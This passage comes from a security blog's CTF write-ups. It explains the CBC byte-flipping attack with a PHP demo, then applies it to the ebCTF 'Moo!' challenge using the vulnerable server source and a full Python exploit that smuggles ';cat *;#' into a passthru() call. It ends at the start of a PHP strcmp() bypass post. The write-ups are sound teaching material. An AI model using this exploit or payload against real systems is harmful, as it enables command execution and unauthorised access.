<li>ID=2</li>
</ul>
<li>Option 3: Change a note</li>
<ul>
<li>ID=1</li>
<li>Size:256</li>
<li>Inserting our shellcode</li>
</ul>
<li>Option 4: Print note</li>
<ol>
<li>ID=1</li>
</ol>
</ol>
<div>
<br /></div>
<div>
And..... viola!!!!! We just need to connect to port 8888 on remote host and cat the flag:</div>
<div>
<br /></div>
</div>
<div style="text-align: center;">
shitty_heap_allocators_are_shitty</div>
<div style="text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhZZ9c6KSbyNb6qd1VL5_3Dpvi_NqmcOljrEWy-3hJQM_WktzTzLxqgFDNsbcIwvEiYPZb4pXWvEkJF5hZeEw-BGcajp_xmxC72gHUKUMPCt77meIIHYUKC0nwQVsTIbcg__UrRUOf8qkp4/s1600/7.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhZZ9c6KSbyNb6qd1VL5_3Dpvi_NqmcOljrEWy-3hJQM_WktzTzLxqgFDNsbcIwvEiYPZb4pXWvEkJF5hZeEw-BGcajp_xmxC72gHUKUMPCt77meIIHYUKC0nwQVsTIbcg__UrRUOf8qkp4/s1600/7.png" height="81" width="320" /></a></div>
<div style="text-align: center;">
<br /></div>
<div>
<br /></div>
<div>
Hope you enjoy it as much as I did while exploiting it. </div>
<div>
<br /></div>
<div>
You can find my exploit <a href="http://pastebin.com/PEWBv1U8" target="_blank">here</a>.</div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<br /></div>
Danuxhttp://www.blogger.com/profile/06729243424924753220noreply@blogger.com0tag:blogger.com,1999:blog-4984553587728477254.post-57474142516662989012013-09-06T12:24:00.000-07:002013-09-17T01:44:06.457-07:00CBC Byte Flipping Attack - 101 Approach<br />
As usual, there are some explanations about this attack out there (see references at the end), but requires some knowledge to understand it properly, so, here I will describe step by step how to perform this attack.<br />
<br />
<b><span style="color: orange;">Purpose of the Attack</span></b>: To change a byte in the plaintext by corrupting a byte in the ciphertext.<br />
<b><span style="color: orange;">Why?</span></b><br />
To bypass filters by adding malicious chars like a single quote, or to elevate privileges by changing the ID of the user to Admin, or any other consequence of changing the plaintext expected by an Application.<br />
<br />
<b><span style="color: orange;">Introduction</span></b><br />
<br />
First of all, let's start understanding how CBC (Cipher-block chaining) works. A detailed explanation can be found here:<br />
<a href="http://en.wikipedia.org/wiki/Block_cipher_mode_of_operation#Cipher-block_chaining_.28CBC.29">http://en.wikipedia.org/wiki/Block_cipher_mode_of_operation#Cipher-block_chaining_.28CBC.29</a><br />
<br />
But I will only explain what is needed to understand the attack.<br />
<br />
<b><span style="color: orange;">Encryption process:</span></b><br />
<b><span style="color: orange;"><br /></span></b>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhose2hTyX7QbuP31xUgTNFRehWD1C-iBFhVIdsovIDUYuASkrokkxHfTn8cglf7-0agwFdN23Thsi1l8JkzAD-qOiC_eJUlKI_9GNfWz_6XJA6H8cLsxsWElwO4NinsdoWZW2rRaz14ADx/s1600/Figure3_ECB.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhose2hTyX7QbuP31xUgTNFRehWD1C-iBFhVIdsovIDUYuASkrokkxHfTn8cglf7-0agwFdN23Thsi1l8JkzAD-qOiC_eJUlKI_9GNfWz_6XJA6H8cLsxsWElwO4NinsdoWZW2rRaz14ADx/s1600/Figure3_ECB.jpg" height="169" width="320" /></a></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
</div>
<br />
<span style="color: orange;"><b>Plaintext</b>:</span> The data to be encrypted.<br />
<b><span style="color: orange;">IV</span></b>: A block of bits that is used to randomize the encryption and hence to produce distinct ciphertexts even if the same plaintext is encrypted multiple times.<br />
<b><span style="color: orange;">Key</span></b>: Used by Symmetric Encryption Algorithms like AES, Blowfish, DES, Triple DES, etc.<br />
<b><span style="color: orange;">Ciphertext</span></b>: The data encrypted.<br />
<br />
An important point here is that CBC works on fixed-length group of bits called a block. In this blog, we will use blocks of 16 bytes each.<br />
<br />
Since I hate mathematical formulas, below is mine:<br />
<br />
Ciphertext-0 = Encrypt(Plaintext XOR IV) - Just for the first block<br />
Ciphertext-N= Encrypt(Plaintext XOR Ciphertext-N-1) - For second and remaining blocks.<br />
<br />
Note: As you can see, the ciphertext of the previous block is used to generate the next one.<br />
<br />
<b><span style="color: orange;">Decryption Process:</span></b><br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhXnZgatZT_6ZPw5NBvhSN02DuZtAiUDiBjIF8GcQ8IIThuxL6puvS4aqS5UebMk2AY1Th6IQAUZ0IYoFqAzZWkJ5RLruPpGLIvhLpYqQgzpDX05swON5sIjKMJwa3Za1lnU2R4AbX1I17B/s1600/cbc-dec.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhXnZgatZT_6ZPw5NBvhSN02DuZtAiUDiBjIF8GcQ8IIThuxL6puvS4aqS5UebMk2AY1Th6IQAUZ0IYoFqAzZWkJ5RLruPpGLIvhLpYqQgzpDX05swON5sIjKMJwa3Za1lnU2R4AbX1I17B/s1600/cbc-dec.jpg" height="117" width="320" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
Plaintext-0 = Decrypt(Ciphertext) XOR IV - Just for the first block<br />
Plaintext-N= Decrypt(Ciphertext) XOR Ciphertext-N-1 - For second and remaining blocks.<br />
<div>
<br /></div>
<div>
Note: The Ciphertext-N-1 is used to generate the Plaintext of the next block, this is where Byte Flipping Attack comes into play. If we change one byte of the Ciphertext-N-1 then when XORing with the next Decrypted block we will get a different Plaintext! You got it? Do not worry, we will see a detailed example below. Meanwhile, below is a nice diagram explaining this attack:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhIQpv34vVkKePfpFjIe2J56wG77NpXWCvpQAwTrAR_iS_RsvSno4G4A4uCkRuVTf2uPfQnG3tNZFiAvbUgnKs3wY9PrBU9nWfM25BfP8xeye76PGQirxXl3DHk4-2KcOcA5lZOeXg2z1GF/s1600/Cbc_modification.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhIQpv34vVkKePfpFjIe2J56wG77NpXWCvpQAwTrAR_iS_RsvSno4G4A4uCkRuVTf2uPfQnG3tNZFiAvbUgnKs3wY9PrBU9nWfM25BfP8xeye76PGQirxXl3DHk4-2KcOcA5lZOeXg2z1GF/s1600/Cbc_modification.jpg" height="142" width="320" /></a></div>
<br /></div>
<div>
<br /></div>
<div>
<b><span style="color: orange;">Example: CBC Blocks of 16 bytes.</span></b></div>
<div>
<br /></div>
<div>
Let's say we have this serialized plaintext:</div>
<div>
<br /></div>
<div>
a:2:{s:4:"name";s:<span style="color: red;">6</span>:"sdsdsd";s:8:"greeting";s:20:"echo 'Hello sdsdsd!'";}</div>
<div>
<br /></div>
<div>
Our target is to change the number 6 at "s:<span style="color: red;">6</span>" to number "7". First thing we need to do is to split the plaintext into 16 bytes chunks:</div>
<div>
<br /></div>
<div>
Block 1: a:<span style="color: red;">2</span>:{s:4:"name";</div>
<div>
Block 2 s:<span style="color: red;">6</span>:"sdsdsd";s:8 <<<-----target div="" here=""><!-------target--><!-------target--><!-------target--><!-------target--><!-------target--><!-------target--><!-------target--><!-------target--><!-------target--><!-------target--><!-------target--><!-------target--></-----target><br />
<div>
Block 3: :"greeting";s:20:</div>
<div>
Block 4: "echo 'Hello sd</div>
<div>
Block 5: sdsd!'";}</div>
<div>
<br /></div>
<div>
So, our target char is located at block 2 which means, we need to change the ciphertext of Block 1 to change the plaintext of the second block.</div>
<div>
A rule of thumb is that the byte you change in a ciphertext will ONLY affect a byte at same offset of next plaintext. Since our target is at offset 2:</div>
<div>
<br /></div>
<div>
[0] = s</div>
<div>
[1] = :</div>
<div>
[2] = <span style="color: red;">6</span></div>
<div>
<br /></div>
<div>
Therefore, we need to change the byte at offset 2 of the first ciphertext block. As you can see in the code below, at line 2 we get the ciphertext of the whole data, then at line 3 we change the byte of block 1 at offset 2 and finally we call the decryption function.</div>
<div>
<br /></div>
<div>
<div>
1. <span style="color: lime;">$v = "a:2:{s:4:"name";s:6:"sdsdsd";s:8:"greeting";s:20:"echo 'Hello sdsdsd!'";}";</span></div>
<div>
2. <span style="color: lime;">$enc = @encrypt($v);</span></div>
<div>
3. <span style="color: lime;">$enc[2] = chr(ord($enc[2]) ^ ord("6") ^ ord ("7"));</span></div>
<div>
4. <span style="color: lime;">$b = @decrypt($enc);</span></div>
</div>
<div>
<br /></div>
<div>
After running this code we are able to change number 6 to 7:<br />
<br /></div>
<div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg0CnYe9bEaawdHemwG1rO8m2gxQO0JYkaODoePytIHsCP4Tmj-Qp1Urm_ghMC4qXAQkuwaoCGRR-48tIMDuhyXVLbzZQXomny10qIhMoC_UbY4Pq_d1ecq89ZASO96xvj_nsgwFL15Vx69/s1600/cbc1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg0CnYe9bEaawdHemwG1rO8m2gxQO0JYkaODoePytIHsCP4Tmj-Qp1Urm_ghMC4qXAQkuwaoCGRR-48tIMDuhyXVLbzZQXomny10qIhMoC_UbY4Pq_d1ecq89ZASO96xvj_nsgwFL15Vx69/s1600/cbc1.png" height="20" width="400" /></a></div>
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<div>
<br /></div>
<div>
<span style="color: orange;">But, how did we change the byte to the value we wanted at line 3?</span></div>
<div>
<br /></div>
<div>
Based on the decryption process described above, we know that A = Decrypt(Ciphertext) is XOR with B = Ciphertext-N-1 to finally get C = 6. Which is equal to:</div>
<div>
<br /></div>
<div>
C = A XOR B</div>
<div>
<br /></div>
<div class="" style="clear: both; text-align: left;">
So, here the only value we do not know is A (block cipher decryption), so, with XOR we can easily get that value by doing: </div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="" style="clear: both; text-align: left;">
A = B XOR C</div>
<br />
And finally, A XOR B XOR C is equal to 0. With this formula, we can set our own value by adding it at the end of the XOR calculation, like:<br />
<br />
A XOR B XOR C XOR "7" will give us 7 in the plaintext at offset 2 on the second block.<br />
<br />
Below is the PHP source code so that you can replicate it:<br />
<br />
<b><span style="color: #ffe599;">
[Code Starts Here]</span></b><br />
<b><span style="color: #ffe599;"><br /></span></b>
<span style="color: lime;">
define('MY_AES_KEY', "abcdef0123456789");<br />
<br />
function aes($data, $encrypt) {<br />
$aes = mcrypt_module_open(MCRYPT_RIJNDAEL_128, '', MCRYPT_MODE_CBC, '');<br />
$iv = "1234567891234567"; <br />
mcrypt_generic_init($aes, MY_AES_KEY, $iv);<br />
return $encrypt ? mcrypt_generic($aes,$data) : mdecrypt_generic($aes,$data);<br />
} </span><br />
<br />
<span style="color: lime;">define('MY_MAC_LEN', 40);</span><br />
<span style="color: lime;"><br /></span>
<span style="color: lime;">function encrypt($data) {</span><br />
<span style="color: lime;"> return aes($data, true);</span><br />
<span style="color: lime;">}</span><br />
<span style="color: lime;"><br /></span>
<span style="color: lime;">function decrypt($data) {</span><br />
<span style="color: lime;"> $data = rtrim(aes($data, false), "\0");</span><br />
<span style="color: lime;"> return $data;</span><br />
<span style="color: lime;">}</span><br />
<span style="color: lime;">$v = "a:2:{s:4:\"name\";s:6:\"sdsdsd\";s:8:\"greeting\";s:20:\"echo 'Hello sdsdsd!'\";}";</span><br />
<span style="color: lime;">echo "Plaintext before attack: $v\n";</span><br />
<span style="color: lime;">$b = array();</span><br />
<span style="color: lime;">$enc = array();</span><br />
<span style="color: lime;">$enc = @encrypt($v);</span><br />
<span style="color: lime;">$enc[2] = chr(ord($enc[2]) ^ ord("6") ^ ord ("7"));</span><br />
<span style="color: lime;">$b = @decrypt($enc);</span><br />
<span style="color: lime;">echo "Plaintext AFTER attack : $b\n";</span><br />
<br />
<div>
<span style="color: #ffe599;"><b>[Code Ends Here]</b></span></div>
<br />
Try changing the char from "7" to "A" or something else to see how it works.<br />
<br />
<b><span style="color: orange;">Exercise 2:</span></b><br />
<br />
Now that we understood how this attack works, let's do a more real-world exercise. Some weeks ago took place the CTF Competition hosted by the team <a href="http://ebctf.nl/" target="_blank">Eindbazen</a>, there was a Web 400 challenge called "Moo!", You can see all the details of this task at the end of the blog in the reference 2 and 3, here I am just going to describe the final steps of breaking CBC.<br />
<br />
We were provided with the source code for analysis, below is the chunk important for this exercise:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg-_MZGq3s7dSK5MPRz5nCe3S8IaffBjy7LYVCFW8vzpi3u7J7WFa5yR4o0_v8dGbb_IYRgSHwMIupn5NddzVdaqFvgHyE9Lzh9rOOCHech7xBalKk3DFyUPabgZ3ZivFivGDnnLQAueeSH/s1600/code1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg-_MZGq3s7dSK5MPRz5nCe3S8IaffBjy7LYVCFW8vzpi3u7J7WFa5yR4o0_v8dGbb_IYRgSHwMIupn5NddzVdaqFvgHyE9Lzh9rOOCHech7xBalKk3DFyUPabgZ3ZivFivGDnnLQAueeSH/s1600/code1.png" height="181" width="320" /></a></div>
<br />
Basically, you will submit any text in the POST parameter "name" and the App will respond with a Hello message concatenating the text submitted at the end, but two things happens before printing back the message:<br />
<br />
1. The POST "<span style="color: cyan;">name</span>" parameter is filtered out by PHP <span style="color: lime;">escapeshellarg()</span> function (which mainly will escape single quotes to prevent injecting malicious commands), then store it in the <span style="color: lime;">Array->greeting</span> field to finally creating a cookie encrypted with this value.<br />
2. Then the content of <span style="color: lime;">Array->greeting</span> field is executed via PHP <span style="color: lime;">passthru()</span> function, which is used to execute System commands.<br />
3. Finally, anytime the page is accessed, if the cookie already exist, it will be decrypted and then its content executed via <span style="color: lime;">passthru()</span> function. <i><u>Here is where our CBC attack will give us a different plaintext as explained in previous section.</u></i><br />
<br />
So, I tried to inject below string in the POST parameter "name":<br />
<br />
<span style="color: cyan;">name</span> = '<span style="color: red;">X</span>' + '<span style="color: magenta;">;cat *;</span><span style="color: #b4a7d6;">#</span>a'<br />
<br />
I added the char "<span style="color: red;">X</span>" which is the one to be replaced with a single quote via CBC byte flipping attack, then the command to be executed <span style="color: magenta;">;cat *;</span> and finally an "<span style="color: #b4a7d6;">#</span>" which is interpreted as a comment by the shell so that we do not get problems with the last single quote inserted by <span style="color: lime;">escapeshellarg()</span> function and therefore our command gets executed successfully.<br />
<br />
After calculating the exact offset of previous ciphertext block byte to be changed (offset 51), I executed below code to inject a single quote:<br />
<br />
<span style="color: lime;">pos = 51;</span><br />
<span style="color: lime;">val = chr(ord(</span><span style="color: red;">'X</span><span style="color: lime;">') ^ ord("</span><span style="color: red;">'</span><span style="color: lime;">") ^ ord(cookie[</span><span style="color: red;">pos</span><span style="color: lime;">]))</span><br />
<span style="color: lime;">exploit = cookie[0:pos] + val + cookie[pos + 1:]</span><br />
<div>
<br /></div>
<div>
I am altering the cookie since it has the whole ciphertext. Finally, I got below result:</div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh9uDL0xvtfI_hgoARunSYl1d75c_Vyg99M5BCHDY8QjQ7Q0pWMEDAYiMZa39jELCDLfU7cGRJ65reSWtUrACg5JoirrvyAQEFxnQDDTa9A-uMS8bvMJ83ziSAvR8I2NnJQrmMsJkT1PqTz/s1600/code2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh9uDL0xvtfI_hgoARunSYl1d75c_Vyg99M5BCHDY8QjQ7Q0pWMEDAYiMZa39jELCDLfU7cGRJ65reSWtUrACg5JoirrvyAQEFxnQDDTa9A-uMS8bvMJ83ziSAvR8I2NnJQrmMsJkT1PqTz/s1600/code2.png" height="65" width="320" /></a></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
</div>
First, we can see <span style="color: yellow;">in yellow</span> that our "X" was successfully change to a single quote in the second block, but since the first block was altered, it got garbage inserted (<span style="color: lime;">in green</span>) which causes an error when trying to <span style="color: lime;">unserialize()</span> the data (<span style="color: red;">in red</span>), and therefore, the app did not even try to execute our injection.<br />
<br />
<b><span style="color: orange;">How to fix it?</span></b><br />
<b><span style="color: orange;"><br /></span></b>
So, basically, we need to play with our injected data until we get garbage in the first block that does not cause any problem during unserialization. A way to get around it is by padding our malicious command with alphabetic chars. Therefore we come up with this injection string padding with multiple '<span style="color: yellow;">z</span>' before and after:<br />
<br />
<span style="color: cyan;">name</span> = <span style="color: yellow;">'z'*17</span> + '<span style="color: red;">X</span>' +<span style="color: magenta;"> ';cat *;#</span>' + <span style="color: yellow;">'z' *16</span><br />
<br />
After sending above string, voila!!!, <span style="color: lime;">unserialize()</span> does not complain with the garbage received and our shell command is executed successfully!!!!<br />
<br />
If you want to replicate this exercise, below in the Appendix section is the PHP code running on the server side and the python script (little bit modified from code provided by Daniel from hardc0de.ru, thanks!!!) to perform the exploitation.<br />
<br />
Finally, I want to thank the guys of the references mentioned below for writing those excellent blogs.<br />
<br />
<b><span style="color: orange;">References:</span></b><br />
<br />
1. CRYPTO #2: <a href="http://blog.gdssecurity.com/labs/tag/crypto">http://blog.gdssecurity.com/labs/tag/crypto</a> <br />
2. <a href="http://codezen.fr/2013/08/05/ebctf-2013-web400-cryptoaescbchmac-write-up/">http://codezen.fr/2013/08/05/ebctf-2013-web400-cryptoaescbchmac-write-up/</a><br />
3. <a href="http://hardc0de.ru/2013/08/04/ebctf-web400/">http://hardc0de.ru/2013/08/04/ebctf-web400/</a><br />
<br />
Enjoy it!<!-------target--><br />
<br />
<br />
<b><span style="color: orange;">Appendix:</span></b><br />
<b><span style="color: orange;"><br /></span></b>
<b><span style="color: orange;">PHP code:</span></b><br />
<b><span style="color: orange;"><br /></span></b>
<span style="color: lime;">ini_set('display_errors',1);</span><br />
<span style="color: lime;">error_reporting(E_ALL);</span><br />
<span style="color: lime;"><br /></span>
<span style="color: lime;">define('MY_AES_KEY', "abcdef0123456789");</span><br />
<span style="color: lime;">define('MY_HMAC_KEY',"1234567890123456" );</span><br />
<span style="color: lime;">#define("FLAG","CENSORED");</span><br />
<span style="color: lime;"><br /></span>
<span style="color: lime;">function aes($data, $encrypt) {</span><br />
<span style="color: lime;"> $aes = mcrypt_module_open(MCRYPT_RIJNDAEL_128, '', MCRYPT_MODE_CBC, '');</span><br />
<span style="color: lime;"> $iv = mcrypt_create_iv (mcrypt_enc_get_iv_size($aes), MCRYPT_RAND);</span><br />
<span style="color: lime;"> $iv = "1234567891234567";</span><br />
<span style="color: lime;"> mcrypt_generic_init($aes, MY_AES_KEY, $iv);</span><br />
<span style="color: lime;"> return $encrypt ? mcrypt_generic($aes, $data) : mdecrypt_generic($aes, $data);</span><br />
<span style="color: lime;">}</span><br />
<span style="color: lime;"><br /></span>
<span style="color: lime;">define('MY_MAC_LEN', 40);</span><br />
<span style="color: lime;"><br /></span>
<span style="color: lime;">function hmac($data) {</span><br />
<span style="color: lime;"> return hash_hmac('sha1', data, MY_HMAC_KEY);</span><br />
<span style="color: lime;">}</span><br />
<span style="color: lime;"><br /></span>
<span style="color: lime;">function encrypt($data) {</span><br />
<span style="color: lime;"> return aes($data . hmac($data), true);</span><br />
<span style="color: lime;">}</span><br />
<span style="color: lime;"><br /></span>
<span style="color: lime;">function decrypt($data) {</span><br />
<span style="color: lime;"> $data = rtrim(aes($data, false), "\0");</span><br />
<span style="color: lime;"> $mac = substr($data, -MY_MAC_LEN);</span><br />
<span style="color: lime;"> $data = substr($data, 0, -MY_MAC_LEN);</span><br />
<span style="color: lime;"> return hmac($data) === $mac ? $data : null;</span><br />
<span style="color: lime;">}</span><br />
<span style="color: lime;">$settings = array();</span><br />
<span style="color: lime;">if (@$_COOKIE['settings']) {</span><br />
<span style="color: lime;"> echo @decrypt(base64_decode($_COOKIE['settings']));</span><br />
<span style="color: lime;"> $settings = unserialize(@decrypt(base64_decode($_COOKIE['settings'])));</span><br />
<span style="color: lime;">}</span><br />
<span style="color: lime;">if (@$_POST['name'] && is_string($_POST['name']) && strlen($_POST['name']) < 200) {</span><br />
<span style="color: lime;"> $settings = array(</span><br />
<span style="color: lime;"> 'name' => $_POST['name'],</span><br />
<span style="color: lime;"> 'greeting' => ('echo ' . escapeshellarg("Hello {$_POST['name']}!")),</span><br />
<span style="color: lime;"> );</span><br />
<span style="color: lime;"> setcookie('settings', base64_encode(@encrypt(serialize($settings))));</span><br />
<span style="color: lime;"> #setcookie('settings', serialize($settings));</span><br />
<span style="color: lime;">}</span><br />
<span style="color: lime;">$d = array();</span><br />
<span style="color: lime;">if (@$settings['greeting']) {</span><br />
<span style="color: lime;"> passthru($settings['greeting']);</span><br />
<span style="color: lime;">} else {</span><br />
<form_ action="\" method="\">
<span style="color: lime;">
</span>
<span style="color: lime;"> echo "What is your name?</span><br />
<span style="color: lime;"> echo "input name='name' type='text'";</span><br />
<span style="color: lime;"> echo "input name='submit' type='submit' ";</span><br />
<br />
</form_><br />
<div>
<span style="color: lime;">}</span></div>
<br />
<b><span style="color: orange;">Exploit:</span></b><br />
<br />
<span style="color: lime;">#!/usr/bin/python</span><br />
<span style="color: lime;">import requests</span><br />
<span style="color: lime;">import sys</span><br />
<span style="color: lime;">import urllib</span><br />
<span style="color: lime;">from base64 import b64decode as dec</span><br />
<span style="color: lime;">from base64 import b64encode as enc</span><br />
<span style="color: lime;"><br /></span>
<span style="color: lime;">url = 'http://192.168.184.133/ebctf/mine.php'</span><br />
<span style="color: lime;"><br /></span>
<span style="color: lime;">def Test(x):</span><br />
<span style="color: lime;"> t = "echo 'Hello %s!'" % x</span><br />
<span style="color: lime;"> s = 'a:2:{s:4:"name";s:%s:"%s";s:8:"greeting";s:%s:"%s";}%s' % (len(x),x,len(t),t, 'X'*40)</span><br />
<span style="color: lime;"> for i in xrange(0,len(s),16):</span><br />
<span style="color: lime;"> print s[i:i+16]</span><br />
<span style="color: lime;"> print '\n'</span><br />
<span style="color: lime;"><br /></span>
<span style="color: lime;">def Pwn(s):</span><br />
<span style="color: lime;"> global url</span><br />
<span style="color: lime;"> s = urllib.quote_plus(enc(s))</span><br />
<span style="color: lime;"> req = requests.get(url, cookies = {'settings' : s}).content</span><br />
<span style="color: lime;"> # if req.find('works') != -1:</span><br />
<span style="color: lime;"> print req</span><br />
<span style="color: lime;"> # else:</span><br />
<span style="color: lime;"> # print '[-] FAIL'</span><br />
<span style="color: lime;"><br /></span>
<span style="color: lime;">def GetCookie(name):</span><br />
<span style="color: lime;"> global url</span><br />
<span style="color: lime;"> d = {</span><br />
<span style="color: lime;"> 'name':name,</span><br />
<span style="color: lime;"> 'submit':'Submit'</span><br />
<span style="color: lime;"> }</span><br />
<span style="color: lime;"> h = requests.post(url, data = d, headers = {'Content-Type' : 'application/x-www-form-urlencoded'}).headers</span><br />
<span style="color: lime;"> if h.has_key('set-cookie'):</span><br />
<span style="color: lime;"> h = dec(urllib.unquote_plus(h['set-cookie'][9:]))</span><br />
<span style="color: lime;"> #h = urllib.unquote_plus(h['set-cookie'][9:])</span><br />
<span style="color: lime;"> #print h</span><br />
<span style="color: lime;"> return h</span><br />
<span style="color: lime;"> else:</span><br />
<span style="color: lime;"> print '[-] ERROR' </span><br />
<span style="color: lime;"> sys.exit(0)</span><br />
<br />
<span style="color: lime;">#a:2:{s:4:"name";s:10:"X;cat *;#a";s:8:"greeting";s:24:"echo 'Hello X;cat *;#a!'";}</span><br />
<span style="color: lime;">#a:2:{s:4:"name";</span><br />
<span style="color: lime;">#s:10:"X;cat *;#a</span><br />
<span style="color: lime;">#";s:8:"greeting" </span><br />
<span style="color: lime;">#;s:24:"echo 'Hel</span><br />
<span style="color: lime;">#lo X;cat *;#a!'"</span><br />
<span style="color: lime;">#;} </span><br />
<span style="color: lime;"> </span><br />
<span style="color: lime;">#a:2:{s:4:"name";s:42:"zzzzzzzzzzzzzzzzzX;cat *;#zzzzzzzzzzzzzzzz";s:8:"greeting";s:56:"echo 'Hello zzzzzzzzzzzzzzzzzX;cat *;#zzzzzzzzzzzzzzzz!'";}</span><br />
<span style="color: lime;">#a:2:{s:4:"name";</span><br />
<span style="color: lime;">#s:42:"zzzzzzzzzz</span><br />
<span style="color: lime;">#zzzzzzzX;cat *;#</span><br />
<span style="color: lime;">#zzzzzzzzzzzzzzzz</span><br />
<span style="color: lime;">#";s:8:"greeting"</span><br />
<span style="color: lime;">#;s:56:"echo 'Hel</span><br />
<div>
<div>
<span style="color: lime;">#lo zzzzzzzzzzzzz</span></div>
<div>
<span style="color: lime;">#zzzzX;cat *;#zzz</span></div>
<div>
<span style="color: lime;">#zzzzzzzzzzzzz!'"</span></div>
<div>
<span style="color: lime;">#;}</span></div>
<div>
<span style="color: lime;">#exploit = 'X' + ';cat *;#a' #Test case first, unsuccess</span></div>
<div>
<span style="color: lime;">exploit = 'z'*17 + 'X' + ';cat *;#' + 'z' *16 # Test Success</span></div>
<div>
<span style="color: lime;"><br /></span></div>
<div>
<span style="color: lime;">#exploit = "______________________________________________________; cat *;#"</span></div>
<div>
<span style="color: lime;">#Test(exploit)</span></div>
<div>
<span style="color: lime;">cookie = GetCookie(exploit)</span></div>
<div>
<span style="color: lime;">pos = 100; #test case success</span></div>
<div>
<span style="color: lime;">#pos = 51; #test case first, unsuccess</span></div>
<div>
<span style="color: lime;">val = chr(ord('X') ^ ord("'") ^ ord(cookie[pos]))</span></div>
<div>
<span style="color: lime;">exploit = cookie[0:pos] + val + cookie[pos + 1:]</span></div>
<div>
<span style="color: lime;">Pwn(exploit)</span></div>
</div>
<div>
<br /></div>
</div>
Danuxhttp://www.blogger.com/profile/06729243424924753220noreply@blogger.com0tag:blogger.com,1999:blog-4984553587728477254.post-61206326155455959722013-03-03T02:27:00.001-08:002013-03-03T03:36:56.505-08:00Unauthorized Access: Bypassing PHP strcmp()<br />
While playing <a href="http://yut.codegate.org/" target="_blank">Codegate CTF</a> 2013 this weekend, I had the opportunity to complete Web 200 which was very interesting. So, let get our hands dirty.<br />
<br />
The main page asks you to provide a valid One-Time-Password in order to log in:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjdwerjvjao5E8p6tSkphoFhYi5ufvF02MmOAKtfWHJygDfZbfYMPw1UNSWPdafitf3faPUkhXT74NBDsBwm2WnoAdeEgYSLkf10TmdvrG_ffJlCho1ESymjwa9ix9TyHRmIpdrzHYTEgCu/s1600/login.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjdwerjvjao5E8p6tSkphoFhYi5ufvF02MmOAKtfWHJygDfZbfYMPw1UNSWPdafitf3faPUkhXT74NBDsBwm2WnoAdeEgYSLkf10TmdvrG_ffJlCho1ESymjwa9ix9TyHRmIpdrzHYTEgCu/s400/login.png" height="198" width="400" /></a></div>
<br />
<br />
A valid password can be provided by selecting the "OTP issue" option, we can see the source code (provided during the challenge) below:<br />
<br />
<br />
<span style="color: lime;"> include("./otp_util.php");</span><br />
<span style="color: lime;"> </span><br />
<span style="color: lime;"> echo "your ID : </span><b><span style="color: lime;">".</span><span style="color: red;">$_SERVER["REMOTE_ADDR"]</span><span style="color: lime;">."</span></b><span style="color: lime;">";</span><br />
<span style="color: lime;"> echo "your password : </span><b><span style="color: lime;">" .make_otp(</span><span style="color: red;">$_SERVER["REMOTE_ADDR"]</span><span style="color: lime;">)."</span></b><span style="color: lime;">";</span><br />
<span style="color: lime;"> </span><br />
<span style="color: lime;"> $time = 20 - (time() - ((int)(time()/20))*20);</span><br />
<span style="color: lime;"> echo "you can login with this password for <b>$time secs</b>.";</span><br />
<br />
<br />
A temporary password is calculated based on my external IP (208.54.39.160) which will last 20 seconds or less, below the result:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
